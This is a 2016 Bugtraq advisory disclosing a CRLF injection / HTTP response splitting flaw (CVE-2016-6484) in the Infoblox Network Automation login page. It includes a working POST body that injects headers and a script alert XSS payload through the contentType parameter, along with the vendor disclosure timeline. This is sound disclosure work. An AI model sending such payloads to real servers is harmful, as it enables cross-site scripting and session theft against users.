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[CVE-2016-6484] Infoblox Network Automation CRLF Injection/ HTTP splitting
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: [CVE-2016-6484] Infoblox Network Automation CRLF Injection/ HTTP splitting
- From: alex_haynes@xxxxxxxxxxx
- Date: Tue, 6 Sep 2016 19:50:20 GMT
Exploit Title: [CVE-2016-6484] Infoblox Network Automation CRLF Injection/ HTTP
splitting vulnerability
Product: Infoblox Network Automation
Vulnerable Versions: 7.0.1 and all previous versions
Tested Version: 6.9.2
Advisory Publication: 06/09/2016
Vulnerability Type: [CWE-113:] Improper Neutralization of CRLF Sequences in
HTTP Headers (HTTP Response Splitting)
CVE Reference: CVE-2016-6484
Credit: Alex Haynes
Advisory Details:
(1) Vendor & Product Description
--------------------------------
Vendor:
Infoblox
Product & Version:
Infoblox Network Automation v7.0.1
Vendor URL & Download:
https://www.infoblox.com/products/network-automation
Product Description:
"Infoblox also offers a complementary, powerful network automation platform
which enables discovery, switch port management, network change configuration
and compliance management for multi-vendor network devices. Automation cuts
down administrator workload and reduces risk of network outages due to improper
configurations or changes."
(2) Vulnerability Details:
--------------------------
The login page of netmri is vulnerable to a HTTP splitting/CRLF injection.
https://NETMRISERVER/netmri/config/userAdmin/login.tdf
The POST of the login action contains the following parameters, and the
?contentType? parameter can be modified to be reflected in the response header:
skipjackPassword=test&width=100&contentType=application/xml&msg=Please+wait+while+your+credentials+are+validated...&url=%2Fnetmri%2Fconfig%2FuserAdmin%2Flogin.tdf&mode=DO-LOGIN&skipjackUsername=test&multipartFile=&title=Waiting+For+Process&filename=&licenseFile=input.licenseFile&authServerList=192.168.X.X%2C+10.X.X.X
Once we control content-type, we can inject ?carriage return? : %0a and ?line
feed? : %0d characters to break the header and introduce our own, effectively
?splitting the response. We can then introduce our own HTML and/or javascript
to provoke a HTML injection or cross-site scripting attack.:
skipjackPassword=test&width=100&contentType=%0d%0aContentLength:%2019%0d%0a%0d%0a<html><h1>Injected
HTML</h1><script>alert(?xss?);</script><!--</html>
&msg=Please+wait+while+your+credentials+are+validated...&url=%2Fnetmri%2Fconfig%2FuserAdmin%2Flogin.tdf&mode=DO-LOGIN&skipjackUsername=test&multipartFile=&title=Waiting+For+Process&filename=&licenseFile=input.licenseFile&authServerList=192.168.X.X%2C+10.X.X.X
(3) Advisory Timeline:
----------------------
25/01/2016 - First Contact informing vendor of vulnerabilities. No response.
01/02/2016 - Follow up e-mail to inform them of vulnerabilities. Response
requesting further information.
01/02/2016 - Information on vulnerabilities sent to vendor. No response.
08/02/2016 - follow up e-mail requesting update. Vendor responds asking us to
open a support ticket.
12/02/2016 - Infoblox products out of support so cannot raise ticket. write to
vendor to explain situation. No response.
24/02/2016 - Follow up with vendor on vulnerabilities requesting an update.
10/03/2016 - Final follow up to vendor requesting an update. Vendor responds
and opens support ticket for vulnerabilities, mentioning they will look into
vulnerabilities.
14/03/2016 - vendor responds saying they are able to reproduce vulnerabilities
17/03/2016 - Vendor responds saying some of the vulnerabilities are already
fixed in version 7.0.4 but cannot confirm which ones.
05/04/2016 - Request update from vendor on status of vulnerabilities.
12/04/2016 - Vendor responds saying CSRF already fixed in 7.0.1, XSS and HTTP
Splitting to be fixed in upcoming 7.1.1 - expected release in summer.
30/06/2016 - Patch 7.1.1 released
06/09/2016 - Public disclosure
(4)Solution:
------------
Upgrade to Version 7.1.1
(5) Credits:
------------
Discovered by Alex Haynes